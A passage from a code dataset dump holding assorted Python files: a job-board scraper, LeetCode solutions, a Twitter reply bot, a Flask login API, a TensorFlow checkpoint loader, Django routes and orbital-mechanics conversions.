response.meta[\"company\"]\n city = sel.xpath(\"//span[@class='label_bold_style' and contains(text(), 'City')]/../following-sibling::td[1]//span/text()\").extract()\n state = sel.xpath(\"//span[@class='label_bold_style' and contains(text(), 'State')]/../following-sibling::td[1]//span/text()\").extract()\n base_salary = sel.xpath(\"//span[@class='label_bold_style' and contains(text(), 'Pay Information')]/../following-sibling::td[1]//span/text()\").extract()\n desc = sel.xpath(\"//span[contains(@id, 'lblDescription')]//text()\").extract()\n\n b_dict = {}\n b_dict[\"referencenumber\"] = \"\" if not job_id else job_id[0]\n b_dict[\"company\"] = \"\" if not company else company\n b_dict[\"jobcategory\"] = \"\" if not job_category else job_category[0]\n b_dict[\"title\"] = \"\" if not title else title[0]\n b_dict[\"url\"] = \"\" if not response.url else response.url\n b_dict[\"jobtype\"] = \"\" if not jobtype else jobtype[0]\n b_dict[\"description\"] = \"\" if not desc else \"\".join(desc)\n\n if not city and state:\n b_dict[\"location\"] = state[0]\n elif city and not state:\n b_dict[\"location\"] = city[0]\n else:\n b_dict[\"location\"] = \"%s, %s\" % (city[0], state[0])\n\n b_dict[\"baseSalary\"] = \"\" if not base_salary else base_salary[0]\n\n for key in b_dict.keys():\n b_item.add_value(key, b_dict[key])\n\n return b_item.load_item()\n\n def set_custom_item(self, response):\n # reference number should be obtained from the URL\n urlparts = urlparse(response.url)\n query = parse_qs(urlparts.query)\n job_id = query[\"JobID\"][0]\n \n self.loader.add_value(\"referencenumber\", job_id)\n self.loader.add_value(\"company\", response.meta[\"company\"])\n\n def validate_parse_job(self, response):\n sel = HtmlXPathSelector(response)\n # is this job offer no longer available? \n # if this returns TRUE for job that are still valid, parse_raw() will break.\n invalid_job = sel.xpath(\"//span[contains(@id, 'lblApplied') and contains(@class, 'label_bold_style')]//text()\").extract()\n if invalid_job:\n if invalid_job[0] == \"This job is no longer available.\":\n return \n else:\n return False \n","sub_path":"brightcorp/brightcorp/spiders/avionte.py","file_name":"avionte.py","file_ext":"py","file_size_in_byte":7347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"201012209","text":"# coding=utf-8\n'''\n@Author: Ye Han\n@Date: 2020-04-16 15:46:00\n@LastEditTime: 2020-04-28 16:48:15\n@LastEditors: Ye Han\n@Description: \n@FilePath: \\Online_Scheduling\\pet_trigger_recommended.py\n@Copyright (c) 2020 - Ye Han\nAll rights reserved.\n'''\nimport numpy as np\n\n\ndef pet_trigger_recommended(number_of_pet, action):\n pet_charging_decision = action.sum(axis=0).reshape(number_of_pet, 1)\n return pet_charging_decision\n\n\nif __name__ == '__main__':\n number_of_pet = 3\n action = np.array([[0, 0, 0], [0, 1, 1]])\n pet_trigger_recommended(number_of_pet, action)\n","sub_path":"pet_trigger_recommended.py","file_name":"pet_trigger_recommended.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"413192397","text":"# 题目要求找到一个位置,使得离旁边最近的人的distance最大。\n# 方法1:暴力解O(n^2).当找到空位时候,从空位开始,遍历左右,找出此空位离其他人最小距离。保存最大的距离。\n# 总共有n个点,每次确定距离要扫n个位置,复杂度为O(n^2)\nclass Solution:\n def maxDistToClosest(self, seats: List[int]) -> int:\n def findClosestDistance(seatIndex):\n distance = float(\"inf\")\n for i in range(seatIndex - 1, -1, -1):\n if seats[i] == 1:\n distance = min(distance, seatIndex - i)\n break\n for i in range(seatIndex + 1, size):\n if seats[i] == 1:\n distance = min(distance, i - seatIndex)\n break\n return distance\n\n result = 0\n size = len(seats)\n for index, element in enumerate(seats):\n if element == 1:\n continue\n else:\n seatIndex = index\n closestDistance = findClosestDistance(seatIndex)\n result = max(result, closestDistance)\n return result\n\n# 方法2:复杂度O(n).使用two pointer双指针,第一个指针指向离此时空座位左边最近的人。第二个指针指向离此时空座位右边最近的人。\nfrom collections import deque\nclass Solution:\n def maxDistToClosest(self, seats: List[int]) -> int:\n # 获取所有有人坐的作为下标\n peopleIndex = [index for index, element in enumerate(seats) if element == 1]\n peopleIndex = deque(peopleIndex)\n # 设左边最近的人为空\n prev = None\n # 设右边最近的人为第一个有人坐的位置\n nextPeople = peopleIndex.popleft()\n\n result = 0\n # 轮询一个seats列表\n for currentPosition in range(len(seats)):\n # 如果有人坐,则使用此时位置更新prev\n if seats[currentPosition] == 1:\n prev = currentPosition\n else:\n # 现在的currentPosition下标是个空座位。先找出右边最近的人的坐标\n while peopleIndex and nextPeople < currentPosition:\n nextPeople = peopleIndex.popleft()\n # 可能右边已经没人了,则设置nextPeople为None.\n if nextPeople is not None and nextPeople < currentPosition:\n nextPeople = None\n\n distance = float(\"inf\")\n # 如果左边没人则距离不变。如果有人则算出距离。\n if prev is not None:\n distance = min(distance, currentPosition - prev)\n # 如果左右边没人则距离不变。如果有人则算出距离。\n if nextPeople:\n distance = min(distance, nextPeople - currentPosition)\n # distance为此时最近距离,和result对比,留最大值。\n result = max(result, distance)\n\n return result\n\n","sub_path":"面试-LeetCode题/LeetCode每日一题/LeetCode849(MaximizeDistancetoCloestPerson)/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"348126940","text":"# coding: utf8\nimport hashlib\nimport os\nimport time, datetime\n\n\ndef get_hash(fpath):\n with open(fpath, 'rb') as f:\n obj = hashlib.sha1()\n obj.update(f.read())\n return obj.hexdigest()\n\n\ndef get_local_files_info(fpath):\n try:\n dirpath, dirnames, filenames = os.walk(fpath).next()\n except Exception as e:\n # print e.message\n filenames = list()\n files = list()\n for f in filenames:\n d = dict()\n rpath = os.path.join(fpath, f)\n d['name'] = f\n d['hash'] = get_hash(rpath)\n d['date'] = os.stat(rpath).st_mtime\n d['size'] = os.stat(rpath).st_size\n files.append(d)\n return files\n\n\ndef size_transformation(b):\n \"\"\"byte-->readability\"\"\"\n fsize = int(b)\n msize = fsize / 1024 / 1024\n ksize = fsize / 1024\n if msize:\n size = \"%dM\" % (msize + 1)\n elif ksize:\n size = '%dK' % (ksize + 1)\n else:\n size = '%dB' % fsize\n return size\n\n\ndef utc2local(utc_st):\n \"\"\"UTC时间转本地时间(+8:00)\"\"\"\n now_stamp = time.time()\n local_time = datetime.datetime.fromtimestamp(now_stamp)\n utc_time = datetime.datetime.utcfromtimestamp(now_stamp)\n offset = local_time - utc_time\n local_st = utc_st + offset\n return local_st\n\n\ndef local2utc(local_st):\n \"\"\"本地时间转UTC时间(-8:00)\"\"\"\n time_struct = time.mktime(local_st.timetuple())\n utc_st = datetime.datetime.utcfromtimestamp(time_struct)\n return utc_st\n","sub_path":"mysync/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"305526086","text":"import tweepy\nimport time\nimport os\nfrom flask import Flask, request\nfrom twython import Twython\nimport random\nfrom messages import messages\n# from keys import * \n\nprint('this is my twitter bot', flush=True)\n\nCONSUMER_KEY = os.environ['CONSUMER_KEY']\nCONSUMER_SECRET = os.environ['CONSUMER_SECRET']\nACCESS_KEY = os.environ['ACCESS_KEY']\nACCESS_SECRET = os.environ['ACCESS_SECRET']\n\nauth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\nauth.set_access_token(ACCESS_KEY, ACCESS_SECRET)\napi = tweepy.API(auth)\n\ntwitter = Twython(\n CONSUMER_KEY,\n CONSUMER_SECRET,\n ACCESS_KEY,\n ACCESS_SECRET,\n)\n\nFILE_NAME = 'last_seen_id.txt'\n\ndef retrieve_last_seen_id(file_name):\n f_read = open(file_name, 'r')\n last_seen_id = int(f_read.read().strip())\n f_read.close()\n return last_seen_id\n\ndef store_last_seen_id(last_seen_id, file_name):\n f_write = open(file_name, 'w')\n f_write.write(str(last_seen_id))\n f_write.close()\n return\n\ndef reply_to_tweets():\n print('retrieving and replying to tweets...', flush=True)\n # DEV NOTE: use 1060651988453654528 for testing.\n last_seen_id = retrieve_last_seen_id(FILE_NAME)\n # NOTE: We need to use tweet_mode='extended' below to show\n # all full tweets (with full_text). Without it, long tweets\n # would be cut off.\n mentions = api.mentions_timeline(last_seen_id, tweet_mode='extended')\n for mention in reversed(mentions):\n message = random.choice(messages)\n print(str(mention.id) + ' - ' + mention.full_text, flush=True)\n last_seen_id = mention.id\n store_last_seen_id(last_seen_id, FILE_NAME)\n if '#acswa' in mention.full_text.lower():\n print('found #acswa', flush=True)\n print('responding back...', flush=True)\n api.update_status('Hi ' '@' + mention.user.screen_name + ' ' + message, mention.id)\n elif '#snickers' in mention.full_text.lower():\n print('found #snickers', flush=True)\n print('responding back...', flush=True)\n api.update_status('Hi ' '@' + mention.user.screen_name + ' ' + message, mention.id)\n elif '#dddperth' in mention.full_text.lower():\n print('found #dddperth', flush=True)\n print('responding back...', flush=True)\n words = \"The Robots are Rising at #DDDPerth \" '@' + mention.user.screen_name\n # message = \"Hello world - here's a pic!\"\n image = open('dddperth1.png', 'rb')\n response = twitter.upload_media(media=image)\n media_id = [response['media_id']]\n #twitter.update_status(status=words, media_ids=media_id)\n api.update_status(status=words, media_ids=media_id)\n else:\n print('default response', flush=True)\n print('responding back...', flush=True)\n api.update_status('Hi ' '@' + mention.user.screen_name + ' You gotta use a hashtag to get an automated reply. Try #snickers ', mention.id)\n \nwhile True:\n reply_to_tweets()\n time.sleep(15)\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"94579209","text":"#!/usr/bin/env python\n\nfrom eth_tester.exceptions import TransactionFailed\nfrom pytest import raises, fixture as pytest_fixture\nfrom utils import nullAddress\n\n\ndef test_gnosis_safe_registry(contractsFixture, augur, universe, cash, gnosisSafeRegistry, gnosisSafeMaster, proxyFactory):\n createOrder = contractsFixture.contracts[\"CreateOrder\"]\n fillOrder = contractsFixture.contracts[\"FillOrder\"]\n shareToken = contractsFixture.contracts[\"ShareToken\"]\n account = contractsFixture.accounts[0]\n\n assert gnosisSafeRegistry.getSafe(account) == nullAddress\n\n assert gnosisSafeRegistry.address\n assert gnosisSafeMaster.address\n assert proxyFactory.address\n\n saltNonce = 42\n\n gnosisSafeRegistryData = gnosisSafeRegistry.callRegister_encode(gnosisSafeRegistry.address, augur.address, createOrder.address, fillOrder.address, cash.address, shareToken.address)\n\n gnosisSafeData = gnosisSafeMaster.setup_encode([account], 1, gnosisSafeRegistry.address, gnosisSafeRegistryData, nullAddress, nullAddress, 0, nullAddress)\n gnosisSafeAddress = proxyFactory.createProxyWithNonce(gnosisSafeMaster.address, gnosisSafeData, saltNonce)\n\n gnosisSafe = contractsFixture.applySignature(\"GnosisSafe\", gnosisSafeAddress)\n \n assert gnosisSafe.getOwners() == [account]\n assert gnosisSafe.getThreshold() == 1\n\n assert gnosisSafeRegistry.getSafe(account) == gnosisSafe.address\n\n assert cash.allowance(gnosisSafe.address, augur.address, 2 ** 256 - 1)\n\n\n@pytest_fixture\ndef gnosisSafeRegistry(contractsFixture):\n return contractsFixture.contracts[\"GnosisSafeRegistry\"]\n\n@pytest_fixture\ndef gnosisSafeMaster(contractsFixture):\n return contractsFixture.contracts[\"GnosisSafe\"]\n\n@pytest_fixture\ndef proxyFactory(contractsFixture):\n return contractsFixture.contracts[\"ProxyFactory\"]\n\n","sub_path":"packages/augur-core/tests/test_gnosis_safe_registry.py","file_name":"test_gnosis_safe_registry.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"457496548","text":"import sys\nimport os\n\nimport tensorflow as tf\nimport logging\n\n\"\"\"\n# model config\nmodel_init:\n pre_train_dir: checkpint\n pre_train_step: -1\n\"\"\"\n\n\n \n\ndef InitScaffold(params):\n # \n model_init = params.model_init\n if not model_init.pre_train_dir or len(model_init.pre_train_dir) < 0:\n logging.info(\"No pre_train_dir found, use a new Scaffold\")\n return tf.train.Scaffold()\n \n # see https://docs.python.org/3/library/exceptions.html\n if not os.path.exists(model_init.pre_train_dir):\n raise FileExistsError(model_init.pre_train_dir)\n\n ckpt_file_or_dir = model_init.pre_train_dir\n if os.path.isdir(model_init.pre_train_dir) and model_init.pre_train_step > 0:\n ckpt_file_or_dir += '/model.ckpt-{0}'.format(model_init.pre_train_step)\n if not os.path.exists(ckpt_file_or_dir+\".index\"):\n raise FileExistsError(ckpt_file_or_dir)\n elif os.path.isdir(model_init.pre_train_dir):\n checkpoint_state = tf.train.get_checkpoint_state(ckpt_file_or_dir)\n if not checkpoint_state:\n logging.info(\"No \" + ckpt_file_or_dir +\"/checkppoint found, use a new Scaffold\")\n return tf.train.Scaffold()\n \n ckpt_file_or_dir = checkpoint_state.model_checkpoint_path\n \n logging.info(\"load variable from:\" + ckpt_file_or_dir)\n \n reader = tf.train.load_checkpoint(ckpt_file_or_dir)\n\n # as the model variable maybe has name space\n var_to_shape_map = reader.get_variable_to_shape_map()\n strip_var_to_shape_map = {}\n \n #debug\n #names = [k+\":\"+str(v) for k,v in var_to_shape_map.items()]\n #print('\\n'.join(sorted(names)))\n\n\n for k,v in var_to_shape_map.items():\n s = max(k.find('/')+1, 0)\n strip_name = k[s:]\n strip_var_to_shape_map[strip_name]=(v,k)\n\n # compute the var not exist in checkpoint\n new_vars = []\n restore_vars = {}\n for var in tf.global_variables():\n # op has only one output\n assert var.name.endswith(\":0\")\n varname = var.name[:-2]\n\n \n shape = var_to_shape_map.get(varname, None)\n # search in strip map\n if shape == None:\n shape, varname = strip_var_to_shape_map.get(var.op.name, (None,None))\n # \n if shape == None:\n new_vars.append(var)\n continue\n \n if not var.get_shape().is_compatible_with(shape):\n raise Exception(\"Variable not match, graph: %s%s, checkpoint:%s%s\" %(var.name, var.get_shape().as_list(), varname,shape))\n \n #print(\"Variable match, graph: %s%s, checkpoint:%s%s\" %(var.name, var.get_shape().as_list(), varname,shape))\n #if varname == 'global_step':\n # print(var)\n restore_vars[varname] = var\n\n #print(\"new_vars:\"+str(new_vars))\n\n saver = tf.train.Saver(var_list=restore_vars)\n\n new_vars_initializer = tf.variables_initializer(new_vars)\n\n def restore_model(scaffold, session):\n saver.restore(session, ckpt_file_or_dir)\n\n return tf.train.Scaffold(init_op=new_vars_initializer, init_fn=restore_model, saver=saver)\n\n\ndef test_InitScaffold(params):\n\n \n from model import official_model\n from data_set import synthetic_dataset\n \n # dataset \n ds = synthetic_dataset([4, 3, 32, 32], classnum = 10)\n iterator = ds.make_initializable_iterator()\n image, label = iterator.get_next()\n\n create_model_func = official_model.Cifar10Model(params.resnet_layer, params.class_num) \n\n\n out = create_model_func(image, training=True);\n global_step = tf.train.get_or_create_global_step()\n \n \n\n \n\n config = tf.ConfigProto(\n allow_soft_placement=True, log_device_placement=False)\n config.gpu_options.allow_growth = True\n \n scaffold = InitScaffold(params)\n with tf.train.MonitoredTrainingSession(\n hooks=[], scaffold=scaffold, config=config) as mon_sess:\n\n mon_sess.run(iterator.initializer)\n #\n mon_sess.run(out)\n\n step = mon_sess.run(global_step) \n print(\"step:%s\" % step)\n \n\nif __name__ == '__main__':\n train_file = './checkpoint/cifar10_train.yaml' if len(sys.argv) == 1 else sys.argv[1]\n import yaml\n from name_dict import NameDict\n\n print(train_file)\n with open(train_file, 'r') as f:\n params = yaml.load(f)\n\n test_InitScaffold(params)","sub_path":"initialize.py","file_name":"initialize.py","file_ext":"py","file_size_in_byte":4324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"231960278","text":"import base64\nimport hashlib\nimport json\nimport time\n\nfrom flask import Blueprint, request\nfrom flask_restful import Api, Resource, reqparse\n\nfrom app import db\nfrom app.config import Config\nfrom app.controller import Message\nfrom app.controller.utils import MobSMS\nfrom app.model import User\nfrom ..config import sms_key\n\nuser_bp = Blueprint(\"user_bp\", __name__)\nuser_api = Api(user_bp)\nparser = reqparse.RequestParser()\nquery = db.session.query\nadd = db.session.add\ncommit = db.session.commit\nrollback = db.session.rollback\n\n\nclass Auth:\n header = {'typ': 'JWT', 'alg': 'HS256'}\n payload = {\n 'iss': 'iFantasy-android',\n 'exp': None,\n 'name': None\n }\n\n @staticmethod\n def generateTempToken(user):\n header = base64.urlsafe_b64encode(\n bytes(json.dumps(Auth.header), encoding='utf-8')\n )\n Auth.payload['exp'], Auth.payload['name'] = str(time.time()), str(user.tel)\n payload = base64.urlsafe_b64encode(\n bytes(json.dumps(Auth.payload), encoding='utf-8')\n )\n Auth.payload['exp'], Auth.payload['name'] = None, None\n sha256 = hashlib.sha256()\n sha256.update(header)\n sha256.update(payload)\n sha256.update(base64.urlsafe_b64encode(bytes(Config.SECRET_KEY, encoding=\"utf-8\")))\n temptoken = header + b'.' + payload + b'.' + bytes(sha256.hexdigest(), encoding='utf-8')\n return str(temptoken, encoding='utf-8')\n\n @staticmethod\n def generateLoginToken(user):\n if not user:\n return Message(None, UserError.ILLEGAL_USER).response\n\n header = base64.urlsafe_b64encode(\n bytes(json.dumps(Auth.header), encoding='utf-8')\n )\n Auth.payload['exp'], Auth.payload['name'] = str(time.time()), str(user.id)\n payload = base64.urlsafe_b64encode(\n bytes(json.dumps(Auth.payload), encoding='utf-8')\n )\n Auth.payload['exp'], Auth.payload['name'] = None, None\n sha256 = hashlib.sha256()\n sha256.update(header)\n sha256.update(payload)\n sha256.update(base64.urlsafe_b64encode(bytes(Config.SECRET_KEY, encoding=\"utf-8\")))\n logintoken = header + b'.' + payload + b'.' + bytes(sha256.hexdigest(), encoding='utf-8')\n return str(logintoken, encoding='utf-8')\n\n @staticmethod\n def generateAccessToken(user):\n if not user:\n raise Exception(UserError.ILLEGAL_USER)\n\n header = base64.urlsafe_b64encode(\n bytes(json.dumps(Auth.header), encoding='utf-8')\n )\n Auth.payload['exp'], Auth.payload['name'] = str(time.time()), str(user.id)\n payload = base64.urlsafe_b64encode(\n bytes(json.dumps(Auth.payload), encoding='utf-8')\n )\n Auth.payload['exp'], Auth.payload['name'] = None, None\n sha256 = hashlib.sha256()\n sha256.update(header)\n sha256.update(payload)\n sha256.update(base64.urlsafe_b64encode(bytes(Config.SECRET_KEY, encoding=\"utf-8\")))\n accesstoken = header + b'.' + payload + b'.' + bytes(sha256.hexdigest(), encoding='utf-8')\n return str(accesstoken, encoding='utf-8')\n\n @staticmethod\n def authLoginToken(user, logintoken):\n return logintoken == user.logintoken\n\n @staticmethod\n def authAccessToken(user, accesstoken):\n return accesstoken == user.accesstoken\n\n @staticmethod\n def authToken(user_id, accesstoken):\n user = query(User).get(user_id)\n Auth.authAccessToken(user, accesstoken)\n\n\nclass UserError:\n ILLEGAL_USER = \"Illegal user\", -3\n AUTH_FAILED = \"Authentication Failed\", -3\n\n\nclass VerificationApi(Resource):\n parse = reqparse.RequestParser()\n parse.add_argument('phone', type=str)\n parse.add_argument('code', type=str)\n parse.add_argument('zone', type=str)\n\n def post(self):\n args = self.parse.parse_args(strict=True)\n phone = args['phone']\n code = args['code']\n zone = args['zone']\n\n res = MobSMS(sms_key).verify_sms_code(zone, phone, code, debug=True)\n if res == 200:\n user = query(User).filter_by(tel=phone).first()\n if not user:\n user = User(None, phone, None, None, None, None);\n user.logintoken = Auth.generateTempToken(user)\n add(user)\n try:\n commit()\n msg = Message(user.user2dict(), None, 201)\n except Exception as e:\n rollback()\n print(e)\n msg = Message(None, \"cannot commit to db\", -1)\n return msg.response\n return Message(user.user2dict(), None, 200).response\n elif res == 467:\n return Message(None, \"请求校验验证码频繁\", 467).response\n elif res == 468:\n return Message(None, \"验证码错误\", 468).response\n\n\nclass RegisterApi(Resource):\n parse = reqparse.RequestParser()\n parse.add_argument('phone', type=str)\n parse.add_argument('nickname', type=str)\n\n def post(self):\n args = self.parse.parse_args(strict=True)\n phone = args['phone']\n nickname = args['nickname']\n temptoken = request.headers.get('Authorization')\n\n if temptoken:\n user = query(User).filter_by(tel=phone).first()\n if user and Auth.authLoginToken(user, temptoken):\n user.accesstoken = Auth.generateAccessToken(user)\n user.level = 1\n user.logintoken = Auth.generateLoginToken(user)\n user.money = 1000\n user.nickname = nickname\n try:\n commit()\n msg = Message(user.user2dict(), None, 200)\n except Exception as e:\n rollback()\n print(e)\n msg = Message(None, \"cannot commit to db\", -1)\n return msg.response\n return Message(*UserError.AUTH_FAILED).response\n\n\nclass LoginApi(Resource):\n parse = reqparse.RequestParser()\n parse.add_argument('phone', type=str)\n\n def post(self):\n args = self.parse.parse_args(strict=True)\n phone = args['phone']\n logintoken = request.headers.get('Authorization')\n\n if logintoken:\n user = query(User).filter_by(tel=phone).first()\n if user and Auth.authLoginToken(user, logintoken):\n user.accesstoken = Auth.generateAccessToken(user)\n try:\n commit()\n msg = Message(user.user2dict(), None, 200)\n except Exception as e:\n rollback()\n print(e)\n msg = Message(None, \"cannot commit to db\", -1)\n return msg.response\n return Message(*UserError.AUTH_FAILED).response\n\n\nclass RefreshAccessTokenApi(Resource):\n parse = reqparse.RequestParser()\n parse.add_argument('user_id', type=int)\n\n def post(self):\n args = self.parse.parse_args(strict=True)\n user_id = args['user_id']\n logintoken = request.headers.get('Authorization')\n\n if logintoken:\n user = query(User).get(user_id)\n if user:\n user.accesstoken = Auth.generateAccessToken(user)\n try:\n commit()\n msg = Message(user.accesstoken, None, 200)\n except Exception as e:\n rollback()\n print(e)\n msg = Message(None, \"cannot commit to db\", -1)\n return msg.response\n return Message(*UserError.AUTH_FAILED).response\n\n\nclass LogoutApi(Resource):\n parse = reqparse.RequestParser()\n parse.add_argument('user_id', type=int)\n\n def post(self):\n args = self.parse.parse_args(strict=True)\n user_id = args['user_id']\n user = query(User).get(user_id)\n if not user:\n return Message(*UserError.ILLEGAL_USER).response\n user.accesstoken = None\n try:\n commit()\n msg = Message(user.user2dict(), None, 200)\n except Exception as e:\n rollback()\n print(e)\n msg = Message(None, \"cannot commit to db\", -1)\n return msg.response\n\n\nuser_api.add_resource(VerificationApi, '/verification')\nuser_api.add_resource(RegisterApi, '/register')\nuser_api.add_resource(LoginApi, '/login')\nuser_api.add_resource(RefreshAccessTokenApi, '/refresh')\nuser_api.add_resource(LogoutApi, '/logout')\n","sub_path":"app/controller/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":8505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"485347298","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\npath('',views.index,name='index'),\npath('index1.html',views.index1,name='home'),\npath('about.html',views.about,name='about'),\npath('news.html',views.news,name='Events'),\npath('elements.html',views.elements,name='elements'),\npath('gallery.html',views.gallery,name='gallery'),\npath('team.html',views.team,name='Our Team'),\npath('contact.html',views.contact,name='Contact Us'),\npath('titiksha18.html',views.titiksha18,name='History'),\npath('mega.html',views.mega,name='mega'),\npath('formal.html',views.formal,name='formal'),\npath('informal.html',views.informal,name='informal'),\npath('submit',views.submit,name=\"submit\")\n]","sub_path":"app4/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"153318612","text":"#!/usr/bin/env python3\n\nfrom astropy.constants import G, M_earth, R_earth\nfrom astropy import units as u\nimport numpy as np\nimport math\n\n\n# r_vec - position vector of body in the ECI frame [x,y,z]\n# v_vec - velocity vector of body in the ECI frame [x,y,z]\n# time - time for the above vectors\n# returns a, e, i, omega_AP, omega_LAN, T, EA\ndef cart_2_kep(r_vec,v_vec, time = 0.0):\n mu = G.value*M_earth.value\n Re = R_earth.value\n\n #1 compute specific angular momentum\n h_bar = np.cross(r_vec,v_vec)\n h = np.linalg.norm(h_bar)\n #2 compute the radius and velocity of current position\n r = np.linalg.norm(r_vec)\n v = np.linalg.norm(v_vec)\n #3 compute specific energy\n E = 0.5*(v**2) - mu/r\n #4 compute semi-major axis\n a = -mu/(2*E)\n #5 determine eccentricity\n e = np.sqrt(1 - (h**2)/(a*mu))\n #6 determine inclination\n i = np.arccos(h_bar[2]/h)\n #7 compute right ascension of the ascending node\n omega_LAN = np.arctan2(h_bar[0],-h_bar[1])\n #8, compute argument of latitude, beware of division by zero here\n lat = np.arctan2(np.divide(r_vec[2],(np.sin(i))),\\\n (r_vec[0]*np.cos(omega_LAN) + r_vec[1]*np.sin(omega_LAN)))\n #9 compute true anomaly, nu\n p = a*(1-e**2)\n nu = np.arctan2(np.sqrt(p/mu) * np.dot(r_vec,v_vec), p-r)\n #10 compute arugment of periapsis\n omega_AP = lat - nu\n #11 compute eccentric anomaly\n EA = 2*np.arctan(np.sqrt((1-e)/(1+e)) * np.tan(nu/2))\n #12 compute time of periapse passage\n n = np.sqrt(mu/(a**3))\n T = t - (1/n)*(EA - e*np.sin(EA))\n\n return a,e,i,omega_AP,omega_LAN,T, EA\n\n# computes eccentricty given information re: apoapsis and periapsis radii\n# apoapsis_r - radius from center of mass of system to farthest orbital point\n# periapsis_r - radius from center of mass of system to farthest orbital point\n# returns eccentricity\ndef getEccentricity(apoapsis_r, periapsis_r):\n return (apoapsis_r - periapsis_r)/(apoapsis_r + periapsis_r)\n\n# computes the inclination of a current position/velocity combination\n# r_vec - position vector of body in the ECI/ECEF frame [x,y,z]\n# v_vec - velocity vector of body in the ECI/ECEF frame [x,y,z]\n# returns inclination in degrees\ndef getInclination(r_vec, v_vec):\n #1 compute specific angular momentum\n h_bar = np.cross(r_vec,v_vec)\n h = np.linalg.norm(h_bar)\n # compure inclination\n i = np.arccos(h_bar[2]/h)\n return math.degrees(i)\n\n# a - semimajor axis, average of periapsis and apoapsis distances\n# e - eccentricity of orbital ellipse, e = (apoapsis_r - periapsis_r)/(apoapsis_r + periapsis_r)\n# i - inclination of the orbit w.r.t the reference plane, measured at ascending node (where orbit goes up through reference plane)\n# omega_AP - argument of periapsis, angle from ascending node to the periapsis of the ellipse\n# omega_LAN - longitude of the ascending node in the reference plane w.r.t. reference vernal point\n# T - time of periapse passage\n# EA - true anomaly at epoch. Position of the orbiting body along ellipse at epoch.\n# returns cartesian positions [x, y, z], and velocity [Vx, Vy, Vz] in ECI\ndef kep_2_cart(a, e, i, omega_AP, omega_LAN, T, EA):\n mu = G.value*M_earth.value\n Re = R_earth.value\n \n #1 compute the mean anomaly\n n = np.sqrt(mu/(a**3))\n M = n*(t - T)\n #2 compute the eccentric anomaly\n MA = EA - e*np.sin(EA)\n #3 compute the true anomaly\n nu = 2*np.arctan(np.sqrt((1+e)/(1-e)) * np.tan(EA/2))\n #4 compute radius\n r = a*(1 - e*np.cos(EA))\n #5 compute the specific angular momentum\n h = np.sqrt(mu*a * (1 - e**2))\n #6 compute position components\n Om = omega_LAN\n w = omega_AP\n\n X = r*(np.cos(Om)*np.cos(w+nu) - np.sin(Om)*np.sin(w+nu)*np.cos(i))\n Y = r*(np.sin(Om)*np.cos(w+nu) + np.cos(Om)*np.sin(w+nu)*np.cos(i))\n Z = r*(np.sin(i)*np.sin(w+nu))\n\n #7 compute thev velocity components\n p = a*(1-e**2)\n\n V_X = (X*h*e/(r*p))*np.sin(nu) - (h/r)*(np.cos(Om)*np.sin(w+nu) + \\\n np.sin(Om)*np.cos(w+nu)*np.cos(i))\n V_Y = (Y*h*e/(r*p))*np.sin(nu) - (h/r)*(np.sin(Om)*np.sin(w+nu) - \\\n np.cos(Om)*np.cos(w+nu)*np.cos(i))\n V_Z = (Z*h*e/(r*p))*np.sin(nu) - (h/r)*(np.cos(w+nu)*np.sin(i))\n\n # return the position and velocities in ECI\n return [X,Y,Z],[V_X,V_Y,V_Z]\n\n# computes the angle between two vectors\n# returns included angle in radians\ndef includedAngle(v1, v2):\n import math\n import numpy as np\n dot = v1[0]*v2[0] + v1[1]*v2[1] + v1[2]*v2[2]\n norm1 = np.linalg.norm(v1)\n norm2 = np.linalg.norm(v2)\n return math.acos(dot/(norm1*norm2))\n\n# computes the orbital zenith\n# pos - position vector in ECI\n# vel - velocity vector in ECI\n# returns zenith in degrees\ndef computeZenith(pos, vel):\n import math\n return math.degrees(includedAngle(pos, vel))\n\n# computes the flight path angle (complement of zenith)\n# pos - position vector in ECI\n# vel - velocity vector in ECI\n# returns FPA in degrees\ndef computeFPA(pos, vel):\n zenith = computeZenith(pos, vel)\n return 90.0 - zenith\n\n# computes the perigee and apogee radii given the position vector and velocity vector in ECI\n# pos - position vector of vehicle in ECI\n# vel - velocity vector of vechile in ECI\n# zenith - angle in degrees between vel and pos vecotors (compliment of FPA)\n# returns radius in ECI of perigee and apogee\ndef computePerigeeApogee(pos, vel, zenith):\n import math\n GM = 3.986005e14 # standard gravitational parameter for Earth\n r1 = math.sqrt(pos[0]*pos[0] + pos[1]*pos[1] + pos[2]*pos[2])\n v1 = math.sqrt(vel[0]*vel[0] + vel[1]*vel[1] + vel[2]*vel[2])\n C = 2.0*GM/(r1*v1*v1)\n zenithrad = math.radians(zenith)\n Rp_r1_1 = (-C + math.sqrt(C*C - 4.0*(1.0-C)*(-math.sin(zenithrad)*math.sin(zenithrad))))/(2.0*(1.0-C))\n Rp_r1_2 = (-C - math.sqrt(C*C - 4.0*(1.0-C)*(-math.sin(zenithrad)*math.sin(zenithrad))))/(2.0*(1.0-C))\n Rp1 = Rp_r1_1*r1\n Rp2 = Rp_r1_2*r1\n return [Rp1, Rp2]\n \nif __name__ == \"__main__\":\n mu = G.value*M_earth.value\n Re = R_earth.value\n\n #Test vectors (meters and m/s)\n r_test = np.array([Re + 600.0*1000, 0, 50]) \n v_test = np.array([0, 6.5 * 1000, 0])\n t = 0\n \n 